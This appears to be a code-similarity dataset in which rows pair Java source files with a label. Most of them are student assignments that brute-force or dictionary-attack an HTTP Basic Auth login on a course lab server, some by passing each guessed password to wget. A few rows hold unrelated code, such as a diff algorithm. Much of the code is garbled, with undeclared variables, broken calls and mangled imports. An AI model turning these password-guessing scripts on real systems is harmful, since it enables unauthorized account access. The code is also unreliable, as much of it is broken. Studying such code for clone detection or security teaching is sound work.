v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
010.java | 161.java | 0 |
import java.io.*;
import java.*;
import java.util.StringTokenizer;
public class Dictionary
{
public static void main(String args[])
{
final String DICT_FILE = "/usr/share/lib/dict/words";
String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";
String password;
String s = null;
int num_tries = 0;
try
{
BufferedReader dict_word = new BufferedReader
(new FileReader (DICT_FILE));
while((password = dict_word.readLine())!= null)
{
try
{
Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
while ((s = stdInput.readLine()) != null)
{
System.out.println(s);
}
while ((s = stdError.readLine()) != null)
{
System.out.println(s);
}
try
{
p.waitFor();
}
catch (InterruptedException g)
{
}
num_tries++;
if((p.exitValue()) == 0)
{
System.out.println("**********PASSWORD IS: " + password);
System.out.println("**********NUMBER OF TRIES: " + num_tries);
System.exit(1);
}
}
catch (IOException e)
{
System.out.println("exception happened - here's what I know: ");
e.printStackTrace();
System.exit(-1);
}
}
System.out.println("DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD");
System.out.println("**********Sorry, password was not found in dictionary file");
System.exit(1);
}
catch (FileNotFoundException exception)
{
System.out.println(exception);
}
catch (IOException exception)
{
System.out.println(exception);
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
054.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.misc.*;
import java.io.BufferedInputStream;
import java.awt.*;
import java.awt.event.*;
public class WatchDog
{
public static void main (String args[])
{
String url = "http://yallara.cs.rmit.edu./~";
String file1 = "test1.txt";
int flag = 0;
WriteFile write = new WriteFile(url, file1, flag);
new DoSleep().print();
}
}
class DoSleep extends Thread
{
public synchronized void run()
{
String url = "http://yallara.cs.rmit.edu./~";
String file2 = "test2.txt";
int flag = 1;
int status = 0;
String file1 = "test1.txt";
System.out.println("Checking.........");
try
{
sleep();
WriteFile write = new WriteFile(url, file2, flag);
status = write.getStatus();
if(status != 0)
{
int flag2 = 0;
WriteFile write2 = new WriteFile(url, file1, flag2);
}
new DoSleep().print();
}
catch (InterruptedException e) {}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
155.java | 161.java | 0 | import java.io.*;
import java.net.*;
public class Dictionary{
public static void main( String[] args ){
Dictionary dict= new Dictionary();
dict.create();
}
public void dsf(){
String password;
String auth_data;
String username="";
String server_res_code;
String required_server_res_code="200";
int cntr=0;
try{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection conn=null;
String fileName = "/usr/share/lib/dict/words";
fileName=fileName.trim();
FileReader fr = new FileReader(fileName);
BufferedReader inputfile = new BufferedReader(fr);
while( (password=inputfile.readLine()) != null ){
password = password.trim();
auth_data=null;
auth_data=username + ":" + password;
auth_data=auth_data.trim();
auth_data=getBasicAuthData(auth_data);
auth_data=auth_data.trim();
conn=url.openConnection();
conn.setDoInput (true);
conn.setDoOutput(true);
conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
conn.setRequestProperty ("Authorization", auth_data);
server_res_code=conn.getHeaderField(0);
server_res_code=server_res_code.substring(9,12);
server_res_code.trim();
cntr++;
if( server_res_code.compareTo(required_server_res_code)!=0)
System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);
else {
System.out.println(cntr + " . " + "PASSWORD IS: " + password + " SERVER RESPONSE : " + server_res_code);
break;}
}
}
catch( Exception e){
System.err.println(e);
}
}
public String getBasicAuthData (String getauthdata) {
char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' } ;
String encodedString = "";
byte bytes [] = getauthdata.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return " " + encodedString;
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
134.java | 161.java | 0 |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public static void main(String[] args)
{
Runtime rt = Runtime.getRuntime();
Process pr= null;
char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
String pass;
char temp[] = {'a','a'};
char temp1[] = {'a','a','a'};
char temp2[] = {'a'};
String f= new String();
String resp = new String();
int count=0;
String success = new String();
InputStreamReader instre;
BufferedReader bufread;
for(int k=0;k<52;k++)
{
temp2[0]=chars[k];
pass = new String(temp2);
count++;
System.out.println("The password tried is------->"+pass+"---and attempt is=="+count);
f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
pr = rt.exec(f);
instre = new InputStreamReader(pr.getErrorStream());
bufread = new BufferedReader(instre);
resp = bufread.readLine();
while( (resp = bufread.readLine())!= null)
{
if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
for(int j=0;j<52;j++)
{
for(int k=0;k<52;k++)
{
temp[0]=chars[j];
temp[1]=chars[k];
pass = new String();
count++;
System.out.println("The password tried is------->"+pass+"---and attempt is=="+count);
f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
pr = rt.exec(f);
instre = new InputStreamReader(pr.getErrorStream());
bufread = new BufferedReader(instre);
resp = bufread.readLine();
while( (resp = bufread.readLine())!= null)
{
if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
}
for(int i=0;i<52;i++)
for(int j=0;j<52;j++)
for(int k=0;k<52;k++)
{
temp1[0]=chars[i];
temp1[1]=chars[j];
temp1[2]=chars[k];
pass = new String(temp1);
count++;
System.out.println("The password tried is------->"+pass+"---and attempt is=="+count);
f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
pr = rt.exec(f);
instre = new InputStreamReader(pr.getErrorStream());
bufread = new BufferedReader(instre);
resp = bufread.readLine();
while( (resp = bufread.readLine())!= null)
{
if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
171.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import java.*;
import java.util.*;
public class DictionaryAttack
{
public static void main ( String args[])
{
String function,pass,temp1;
int count =0;
try{
FileReader fr = new FileReader("words.txt");
BufferedReader bfread = new BufferedReader(fr);
Runtime rtime = Runtime.getRuntime();
Process prs = null;
while(( bf = bfread.readLine()) != null)
{
if( f.length() < 4 )
{
System.out.println(+ " The Attack Number =====>" + count++ );
pass = f;
function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/";
prs = rtime.exec(function);
InputStreamReader stre = new InputStreamReader(prs.getErrorStream());
BufferedReader bread = new BufferedReader(stre);
while( (temp1 = bread.readLine())!= null)
{
System.out.println(temp1);
if(temp1.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("The password has is:"+pass);
System.exit(0);
}
}
}
}
fr.print();
bfread.close();
}catch(Exception e){}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
159.java | 161.java | 0 |
class BasicAuth {
public BasicAuth() {}
private static byte[] cvtTable = {
(byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
(byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
(byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
(byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
(byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
(byte)'Z',
(byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
(byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
(byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
(byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
(byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
(byte)'z',
(byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
(byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
(byte)'+', (byte)'/'
};
static String encode(String name,
String passwd) {
byte input[] = (name + ":" + passwd).getBytes();
byte[] output = new byte[((input.length / 3) + 1) * 4];
int ridx = 0;
int chunk = 0;
for (int i = 0; i < input.length; i += 3) {
int left = input.length - i;
if (left > 2) {
chunk = (input[i] << 16)|
(input[i + 1] << 8) |
input[i + 2];
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = cvtTable[(chunk&0x3F)];
} else if (left == 2) {
chunk = (input[i] << 16) |
(input[i + 1] << 8);
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = '=';
} else {
chunk = input[i] << 16;
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = '=';
output[ridx++] = '=';
}
}
return new String(output);
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
127.java | 161.java | 0 |
import java.util.Hashtable;
public class Diff {
public Diff(Object[] a,Object[] b) {
Hashtable h = new Hashtable(a.length + b.length);
filevec[0] = new file_data(a,h);
filevec[1] = new file_data(b,h);
}
private int equiv_max = 1;
public boolean heuristic = false;
public boolean no_discards = false;
private int[] xvec, yvec;
private int[] fdiag;
private int[] bdiag;
private int fdiagoff, bdiagoff;
private final file_data[] filevec = new file_data[2];
private int cost;
private int diag (int xoff, int xlim, int yoff, int ylim) {
final int[] fd = fdiag;
final int[] bd = bdiag;
final int[] xv = xvec;
final int[] yv = yvec;
final int dmin = xoff - ylim;
final int dmax = xlim - yoff;
final int fmid = xoff - yoff;
final int bmid = xlim - ylim;
int fmin = fmid, fmax = fmid;
int bmin = bmid, bmax = bmid;
final boolean odd = (fmid - bmid & 1) != 0;
fd[fdiagoff + fmid] = xoff;
bd[bdiagoff + bmid] = xlim;
for (int c = 1;; ++c)
{
int d;
boolean big_snake = false;
if (fmin > dmin)
fd[fdiagoff + --fmin - 1] = -1;
else
++fmin;
if (fmax < dmax)
fd[fdiagoff + ++fmax + 1] = -1;
else
--fmax;
for (d = fmax; d >= fmin; d -= 2)
{
int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d + 1];
if (tlo >= ylim)
x = tlo + 1;
else
x = ylim;
oldx = x;
y = x - d;
while (x < xlim && y < ylim && xv[x] == yv[y]) {
++x; ++y;
}
if (x - oldx > 20)
big_snake = true;
fd[fdiagoff + d] = x;
if (odd && bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
{
cost = 2 * c - 1;
return d;
}
}
if (bmin > dmin)
bd[bdiagoff + --bmin - 1] = Integer.MAX_VALUE;
else
++bmin;
if (bmax < dmax)
bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE;
else
--bmax;
for (d = bmax; d >= bmin; d -= 2)
{
int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff + d + 1];
if (tlo < ylim)
x = tlo;
else
x = - 1;
oldx = x;
y = x - d;
while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) {
--x; --y;
}
if (oldx - x > 20)
big_snake = true;
bd[bdiagoff + d] = x;
if (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
{
cost = 2 * c;
return d;
}
}
if (c > 200 && big_snake && heuristic)
{
int i = 0;
int bestpos = -1;
for (d = fmax; d >= fmin; d -= 2)
{
int dd = d - fmid;
if ((fd[fdiagoff + d] - xoff)*2 - dd > 12 * (c + (dd > 0 ? dd : -dd)))
{
if (fd[fdiagoff + d] * 2 - dd > i
&& fd[fdiagoff + d] - xoff > 20
&& fd[fdiagoff + d] - d - yoff > 20)
{
int k;
int x = fd[fdiagoff + d];
for (k = 1; k <= 20; k++)
if (xvec[x - k] != yvec[x - d - k])
break;
if (k == 21)
{
ylim = fd[fdiagoff + d] * 2 - dd;
bestpos = d;
}
}
}
}
if ( x> 0)
{
cost = 2 * c - 1;
return bestpos;
}
x= 0;
for (d = bmax; d >= bmin; d -= 2)
{
int dd = d - bmid;
if ((xlim - bd[bdiagoff + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd)))
{
if ((xlim - bd[bdiagoff + d]) * 2 + dd > i
&& xlim - bd[bdiagoff + d] > 20
&& x - (bd[bdiagoff + d] - d) > 20)
{
int k;
int x = bd[bdiagoff + d];
for (k = 0; k < 20; k++)
if (xvec[x + k] != yvec[x - d + k])
break;
if (k == 20)
{
x = (xlim - bd[bdiagoff + d]) * 2 + dd;
bestpos = d;
}
}
}
}
if (x > 0)
{
cost = 2 * c - 1;
return bestpos;
}
}
}
}
private void compareseq (int xoff, int xlim, int yoff, int ylim) {
while (xoff < xlim && yoff < ylim && xvec[xoff] == yvec[yoff]) {
++xoff; ++yoff;
}
while (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) {
--xlim; --x;
}
if (xoff == xlim)
while (yoff < ylim)
filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true;
else if (yoff == ylim)
while (xoff < xlim)
filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]] = true;
else
{
int d = diag (xoff, xlim, yoff, ylim );
int c = cost;
int f = fdiag[fdiagoff + d];
int b = bdiag[bdiagoff + d];
if (c == 1)
{
throw new IllegalArgumentException("Empty subsequence");
}
else
{
compareseq (xoff, b, yoff, b - d);
compareseq (b, xlim, b - d,ylim );
}
}
}
private void discard_confusing_lines() {
filevec[0].discard_confusing_lines(filevec[1]);
filevec[1].discard_confusing_lines(filevec[0]);
}
private boolean inhibit = false;
private void shift_boundaries() {
if (inhibit)
return;
filevec[0].shift_boundaries(filevec[1]);
filevec[1].shift_boundaries(filevec[0]);
}
public interface ScriptBuilder {
public change build_script(
boolean[] changed0,int len0,
boolean[] changed1,int len1
);
}
static class ReverseScript implements ScriptBuilder {
public change build_script(
final boolean[] changed0,int len0,
final boolean[] changed1,int len1)
{
change script = null;
int i0 = 0, i1 = 0;
while (i0 < len0 || i1 < len1) {
if (changed0[1+i0] || changed1[1+i1]) {
int line0 = i0, line1 = i1;
while (changed0[1+i0]) ++i0;
while (changed1[1+i1]) ++i1;
script = new change(line0, line1, i0 - line0, i1 - line1, script);
}
i0++; i1++;
}
return script;
}
}
static class ForwardScript implements ScriptBuilder {
public change build_script(
final boolean[] changed0,int len0,
final boolean[] changed1,int len1)
{
change script = null;
int i0 = len0, i1 = len1;
while (i0 >= 0 || i1 >= 0)
{
if (changed0[i0] || changed1[i1])
{
int line0 = i0, line1 = i1;
while (changed0[i0]) --i0;
while (changed1[i1]) --i1;
script = new change(i0, i1, line0 - i0, line1 - i1, script);
}
i0--; i1--;
}
return script;
}
}
public final static ScriptBuilder
forwardScript = new ForwardScript(),
reverseScript = new ReverseScript();
public final change diff_2(final boolean reverse) {
return diff(reverse ? reverseScript : forwardScript);
}
public change diff(final ScriptBuilder bld) {
discard_confusing_lines ();
xvec = filevec[0].undiscarded;
yvec = filevec[1].undiscarded;
int diags =
filevec[0].nondiscarded_lines + filevec[1].nondiscarded_lines + 3;
fdiag = new int[diags];
fdiagoff = filevec[1].nondiscarded_lines + 1;
bdiag = new int[diags];
bdiagoff = filevec[1].nondiscarded_lines + 1;
compareseq (0, filevec[0].nondiscarded_lines,
0, filevec[1].nondiscarded_lines);
fdiag = null;
bdiag = null;
shift_boundaries ();
return bld.build_script(
filevec[0].changed_flag,
filevec[0].buffered_lines,
filevec[1].changed_flag,
filevec[1].buffered_lines
);
}
public static class change {
public int change ;
public final int inserted;
public final int deleted;
public final int line0;
public final int line1;
public change(int line0, int line1, int deleted, int inserted, change old) {
this.line0 = line0;
this.line1 = line1;
this.inserted = inserted;
this.deleted = deleted;
this.old = old;
}
}
class file_data {
void clear() {
changed_flag = new boolean[buffered_lines + 2];
}
int[] equivCount() {
int[] equiv_count = new int[equiv_max];
for (int i = 0; i < buffered_lines; ++i)
++equiv_count[equivs[i]];
return equiv_count;
}
void discard_confusing_lines(file_data f) {
clear();
final byte[] discarded = discardable(f.equivCount());
filterDiscards(discarded);
discard(discarded);
}
private byte[] discardable(final int[] counts) {
final int end = buffered_lines;
final byte[] discards = new byte[end];
final int[] equivs = this.equivs;
int many = 5;
int tem = end / 64;
while ((tem = tem >> 2) > 0)
many *= 2;
for (int i = 0; i < end; i++)
{
int nmatch;
if (equivs[i] == 0)
continue;
nmatch = counts[equivs[i]];
if (nmatch == 0)
discards[i] = 1;
else if (nmatch > many)
discards[i] = 2;
}
return discards;
}
private void filterDiscards(final byte[] discards) {
final int end = buffered_lines;
for (int i = 0; i < end; i++)
{
if (discards[i] == 2)
discards[i] = 0;
else if (discards[i] != 0)
{
int j;
int length;
int provisional = 0;
for (j = i; j < end; j++)
{
if (discards[j] == 0)
break;
if (discards[j] == 2)
++provisional;
}
while (j > i && discards[j - 1] == 2) {
discards[--j] = 0; --provisional;
}
length = j - i;
if (provisional * 4 > length)
{
while (j > i)
if (discards[--j] == 2)
discards[j] = 0;
}
else
{
int consec;
int minimum = 1;
int tem = length / 4;
while ((tem = tem >> 2) > 0)
minimum *= 2;
minimum++;
for (j = 0, consec = 0; j < length; j++)
if (discards[i + j] != 2)
consec = 0;
else if (minimum == ++consec)
j -= consec;
else if (minimum < consec)
discards[i + j] = 0;
for (j = 0, consec = 0; j < length; j++)
{
if (j >= 8 && discards[i + j] == 1)
break;
if (discards[i + j] == 2) {
consec = 0; discards[i + j] = 0;
}
else if (discards[i + j] == 0)
consec = 0;
else
consec++;
if (consec == 3)
break;
}
i += length - 1;
for (j = 0, consec = 0; j < length; j++)
{
if (j >= 8 && discards[i - j] == 1)
break;
if (discards[i - j] == 2) {
consec = 0; discards[i - j] = 0;
}
else if (discards[i - j] == 0)
consec = 0;
else
consec++;
if (consec == 3)
break;
}
}
}
}
}
private void discard(final byte[] discards) {
final int end = buffered_lines;
int j = 0;
for (int i = 0; i < end; ++i)
if (no_discards || discards[i] == 0)
{
undiscarded[j] = equivs[i];
realindexes[j++] = i;
}
else
changed_flag[1+i] = true;
nondiscarded_lines = j;
}
file_data(Object[] data,Hashtable h) {
buffered_lines = data.length;
equivs = new int[buffered_lines];
undiscarded = new int[buffered_lines];
realindexes = new int[buffered_lines];
for (int i = 0; i < data.length; ++i) {
Integer ir = (Integer)h.get(data[i]);
if (ir == null)
h.put(data[i],new Integer(equivs[i] = equiv_max++));
else
equivs[i] = ir.intValue();
}
}
void shift_boundaries(file_data f) {
final boolean[] changed = changed_flag;
final boolean[] other_changed = f.changed_flag;
int i = 0;
int j = 0;
int i_end = buffered_lines;
int preceding = -1;
int other_preceding = -1;
for (;;)
{
int start, end, other_start;
while (i < i_end && !changed[1+i])
{
while (other_changed[1+j++])
other_preceding = j;
i++;
}
if (i == i_end)
break;
start = i;
other_start = j;
for (;;)
{
while (i < i_end && changed[1+i]) i++;
